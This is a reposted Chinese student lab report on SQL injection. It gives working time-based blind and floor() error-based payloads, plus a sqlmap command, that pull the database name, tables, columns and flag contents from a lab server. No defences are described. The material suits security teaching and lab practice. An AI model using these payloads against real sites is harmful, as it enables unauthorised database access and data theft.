失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > SQL注入漏洞的攻击与防御

SQL注入漏洞的攻击与防御

时间:2023-10-11 10:02:24

相关推荐

SQL注入漏洞的攻击与防御

一、实验名称

SQL注入漏洞的攻击与防御

二、实验环境(详细说明运行的系统、平台及代码等)

1、攻击机系统环境:Windows 7/8/10

2、浏览器:Firefox 53.0.2(64位)

3、浏览器插件HackBar 1.6.3.1

4、Burp Suite 1.7.11

三、实验步骤及结果

1、基于时间延迟的盲注

打开Firefox浏览器,按F12,打开FireBug。选择“网络选项卡”

实验网址: http://222.18.158.243:4609/

注入点:http://222.18.158.243:4609/?id=1

需要学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名、表名、字段名、字段内容等信息。

提示:

http://222.18.158.243:4609/?id=1 and if(length(database())=6,sleep(1),1)%23

FireBug中,“网络选项卡”的时间线与

http://222.18.158.243:4609/?id=1andif(length(database())=5,sleep(1),1)%23

http://222.18.158.243:4609/?id=1andif(length(database())=7,sleep(1),1)%23

有明显区别,可以判断出数据库名长度为6

或者,做一个1,2,3,4。。。。30的密码字典,用Burp Suite爆破,注意,在显示爆破结果页面时,Columns列需要设置勾选“Response received”

Burp Suite使用方法参考:

/content/16/0425/10/29967943_553593234.shtml

可以看到6与其他的明显不同,也可以得到数据库长度为6

2、利用floor()函数进行报错注入

提示“floor报错注入,注入点id=1”

实验网址: http://222.18.158.243:4606/

注入点:http://222.18.158.243:4606/?id=1

需要学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名、表名、字段名、字段内容等信息。

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=flag LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)

实验心得

通过实验了解基于时间延迟的盲注、利用floor()函数进行报错注入的相关操作

思考题

应该如何使用SQLmap进行本实验中的几个注入?

python sqlmap.py -u "http://222.18.158.243:4610/?id=1" -p "id" --current-db --batch -T "flag" --no-cast --level 5 --risk 2

如果觉得《SQL注入漏洞的攻击与防御》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。